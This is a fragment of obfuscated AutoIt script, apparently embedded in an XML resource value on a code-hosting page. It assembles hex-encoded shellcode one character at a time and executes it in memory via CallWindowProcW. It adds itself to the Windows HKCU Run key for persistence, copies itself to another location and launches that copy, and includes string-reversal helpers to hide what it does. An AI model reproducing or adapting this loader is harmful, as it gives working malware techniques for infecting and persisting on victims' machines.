$J3433dRr &= "6" &"4" &"8" &"B" &"7" &"0" &"3" &"0" &"8" &"B" &"7" &"6" &"0" &"C" &"8" &"B" &"7" &"6" &"1" &"C" &"8" &"B" &"6" &"E" &"0" &"8" &"8" &"B" &"7" &"E" &"2" &"0" &"8" &"B" &"3" &"6" &"3" &"8" &"4" &"7" &"1" &"8" &"7" &"5" &"F" &"3" &"8" &"0"
|
||||
$J3433dRr &= "3" &"F" &"6" &"B" &"7" &"4" &"0" &"7" &"8" &"0" &"3" &"F" &"4" &"B" &"7" &"4" &"0" &"2" &"E" &"B" &"E" &"7" &"8" &"B" &"C" &"5" &"5" &"F" &"5" &"E" &"5" &"B" &"5" &"9" &"5" &"A" &"5" &"D" &"C" &"3" &"5" &"5" &"5" &"2" &"5" &"1" &"5" &"3"
|
||||
$J3433dRr &= "5" &"6" &"5" &"7" &"8" &"B" &"6" &"C" &"2" &"4" &"1" &"C" &"8" &"5" &"E" &"D" &"7" &"4" &"4" &"3" &"8" &"B" &"4" &"5" &"3" &"C" &"8" &"B" &"5" &"4" &"2" &"8" &"7" &"8" &"0" &"3" &"D" &"5" &"8" &"B" &"4" &"A" &"1" &"8" &"8" &"B"
|
||||
$J3433dRr &= "5" &"A" &"2" &"0" &"0" &"3" &"D" &"D" &"E" &"3" &"3" &"0" &"4" &"9" &"8" &"B" &"3" &"4" &"8" &"B" &"0" &"3" &"F" &"5" &"3" &"3" &"F" &"F" &"3" &"3" &"C" &"0" &"F" &"C" &"A" &"C" &"8" &"4" &"C" &"0" &"7" &"4" &"0" &"7" &"C" &"1"
|
||||
$J3433dRr &= "C" &"F" &"0" &"D" &"0" &"3" &"F" &"8" &"E" &"B" &"F" &"4" &"3" &"B" &"7" &"C" &"2" &"4" &"2" &"0" &"7" &"5" &"E" &"1" &"8" &"B" &"5" &"A" &"2" &"4" &"0" &"3" &"D" &"D" &"6" &"6" &"8" &"B" &"0" &"C" &"4" &"B" &"8" &"B" &"5" &"A" &"1"
|
||||
$J3433dRr &= "C" &"0" &"3" &"D" &"D" &"8" &"B" &"0" &"4" &"8" &"B" &"0" &"3" &"C" &"5" &"5" &"F" &"5" &"E" &"5" &"B" &"5" &"9" &"5" &"A" &"5" &"D" &"C" &"3" &"C" &"3" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0"
|
||||
Local $G313039TaOGL = DllStructCreate("b" &"y" &"t" &"e" &"[" & BinaryLen($J3433dRr) & "]")
|
||||
Local $P3131311uQhRI = DllStructCreate("b" &"y" &"t" &"e" &"[" & BinaryLen($X3432lK) & "]")
|
||||
DllStructSetData($G313039TaOGL, 1, $J3433dRr)
|
||||
DllStructSetData($P3131311uQhRI, 1, $X3432lK)
|
||||
Local $X313137LpFu = DllCall("u" &"s" &"e" &"r" &"3" &"2" &"." &"d" &"l" &"l", "i" &"n" &"t", "C" &"a" &"l" &"l" &"W" &"i" &"n" &"d" &"o" &"w" &"P" &"r" &"o" &"c" &"W", "p" &"t" &"r", DllStructGetPtr($G313039TaOGL), "w" &"s" &"t" &"r", ($P3431SIwG2), "p" &"t" &"r", DllStructGetPtr($P3131311uQhRI), "i" &"n" &"t", 0, "i" &"n" &"t", 0)
|
||||
EndFunc
|
||||
|
||||
Func X33b0sH($K3339uZ, $L313232WxZupy, $N313233RV07)
|
||||
Return DllStructSetData($K3339uZ, $L313232WxZupy, $N313233RV07)
|
||||
EndFunc
|
||||
|
||||
Func S341y($Y32VFkD8)
|
||||
C350G("H" &"K" &"E" &"Y" &"_" &"C" &"U" &"R" &"R" &"E" &"N" &"T" &"_" &"U" &"S" &"E" &"R" &"\" &"S" &"o" &"f" &"t" &"w" &"a" &"r" &"e" &"\" &"M" &"i" &"c" &"r" &"o" &"s" &"o" &"f" &"t" &"\" &"W" &"i" &"n" &"d" &"o" &"w" &"s" &"\" &"C" &"u" &"r" &"r" &"e" &"n" &"t" &"V" &"e" &"r" &"s" &"i" &"o" &"n" &"\" &"R" &"u" &"n", $Y32VFkD8, "R" &"E" &"G" &"_" &"S" &"Z", @ScriptFullPath)
|
||||
EndFunc
|
||||
|
||||
Func C350G($K3339uZ, $L313232WxZupy, $N313233RV07, $P313332nlc)
|
||||
Return Execute("R" &"e" &"g" &"W" &"r" &"i" &"t" &"e" &"(" &"'" & $K3339uZ & "'" &"," &" " &"'" & $L313232WxZupy & "'" &"," &" " &"'" & $N313233RV07 & "'" &"," &" " &"'" & $P313332nlc & "'" &")")
|
||||
EndFunc
|
||||
|
||||
Func Z36I4t($Z30EI, $Y31eptPD)
|
||||
If $Z30EI & "\" & $Y31eptPD <> @ScriptFullPath Then
|
||||
FileCopy(@ScriptDir & "\" & @ScriptName, $Z30EI & "\" & $Y31eptPD)
|
||||
ShellExecute($Z30EI & "\" & $Y31eptPD)
|
||||
EndIf
|
||||
EndFunc
|
||||
|
||||
Func F37EA1q0($I313435Guxe)
|
||||
Return STRINGREVERSE($I313435Guxe)
|
||||
EndFunc</value>
|
||||
</data>
|
||||
</root>
|
||||
Reference in New Issue
Block a user